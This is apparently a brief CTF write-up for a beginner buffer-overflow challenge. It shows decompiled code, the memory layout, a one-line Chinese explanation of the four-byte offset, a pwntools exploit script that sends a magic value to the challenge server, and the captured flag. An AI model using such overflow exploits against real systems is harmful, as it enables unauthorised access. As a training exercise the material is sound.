

```

1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
2 {
3     alarm(0x3Cu);
4     setbuf(stdout, 0LL);
5     puts("~~ welcome to ctf ~~");
6     puts("lets get helloworld for bof");
7     read(0, &unk_601068, 0x10uLL);
8     if ( dword_60106C == 1853186401 )
9         sub_400686();
10    return 0LL;
11 }

```

```

.bss:0000000000601058 ; Copy of shared data
.bss:0000000000601060 byte_601060 db ? ; DATA XREF: sub_400640↑r
.bss:0000000000601060 ; sub_400640+13↑w
.bss:0000000000601061 align 8
.bss:0000000000601068 unk_601068 db ? ; ; DATA XREF: main+3B↑to
.bss:0000000000601069 db ? ;
.bss:000000000060106A db ? ;
.bss:000000000060106B db ? ;
.bss:000000000060106C dword_60106C dd ? ; ; DATA XREF: main+4A↑r
.bss:000000000060106C _bss ends
.bss:000000000060106C
extern:0000000000601070 ; =====
extern:0000000000601070
extern:0000000000601070 ; Segment type: Externs
extern:0000000000601070

```

偏移四个地址就是判断后的值

- 1 from pwn import *
- 2 p=remote('111.200.241.244',61711)
- 3 payload=b'a'*4 + p64(1853186401)
- 4 p.recvuntil('lets get helloworld for bof\n')
- 5 p.sendline(payload)
- 6 p.interactive()

~

```

$ python3 2.py
[+] Opening connection to 111.200.241.244 on port 61711: Done
[*] Switching to interactive mode
cyberpeace{7fa88858e90b480ed2cc05bf86772901}
[*] Got EOF while reading in interactive

```